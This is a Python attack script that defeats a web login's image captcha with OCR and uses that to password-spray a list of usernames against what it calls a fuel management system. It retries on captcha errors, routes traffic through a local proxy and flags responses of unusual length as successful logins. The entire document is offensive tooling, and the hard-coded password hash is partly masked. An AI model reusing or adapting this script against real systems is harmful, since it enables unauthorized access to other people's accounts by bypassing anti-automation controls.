1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import time import ddddocr import requests import base64 import sys proxies = { "http": 'http://127.0.0.1:8080', "https": 'http://127.0.0.1:8080' }
def get_code(orc , baseurl , longTime , shortTime): """识别出登录接口中图像验证码上的字符""" url = baseurl + '/sys/randomImage/' + str(longTime) + '?_t=' + str(shortTime) res = requests.request("get", url).json() base64_data = res['result']
data = base64_data.split(',')[1] img_data = base64.b64decode(data) with open('./img.png', 'wb') as png: png.write(img_data)
with open('./img.png', 'rb') as f: img_bytes = f.read() code = ocr.classification(img_data) return code
def login(orc , loginUrl , username , password): t = time.time() shortTime = int(t) longTime = int(round(time.time() * 1000)) captcha = get_code(orc , "http://<IP>:9000" , longTime , shortTime) param = "{{\"username\":\"{}\",\"password\":\"{}\",\"captcha\":\"{}\",\"checkKey\":{},\"remember_me\":true}}".format(username, password, captcha, str(longTime)) headers = { "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Encoding": "identity", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Cache-Control": "max-age=0", "Content-Type": "application/json;charset=UTF-8", "Upgrade-Insecure-Requests": '1', "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Connection": "close", } response = requests.post(url=loginUrl, data=param, headers=headers, verify=False, proxies=proxies, allow_redirects=False) return response
loginUrl = "http://<IP>:9000/sys/login" ocr = ddddocr.DdddOcr()
f = open("燃料管理系统用户名.txt") line = f.readline() for num,value in enumerate(f): sys.stdout.write(f"\r正在执行第{num}条") sys.stdout.flush() value = value.replace("\n" , "") response = login(ocr , loginUrl , value , "2007be359*********2c0d142d3a7f7") while("验证码错误" in response.content.decode('utf-8')): response = login(ocr, loginUrl, value, "2007be359*********2c0d142d3a7f7") if(len(response.content.decode('utf-8'))!=91 and len(response.content.decode('utf-8')) != 89): print("[+]响应内容"+response.content.decode('utf-8') + "\n") print("[+]账号密码:"+value + ":" + "*****12345") response.close()
|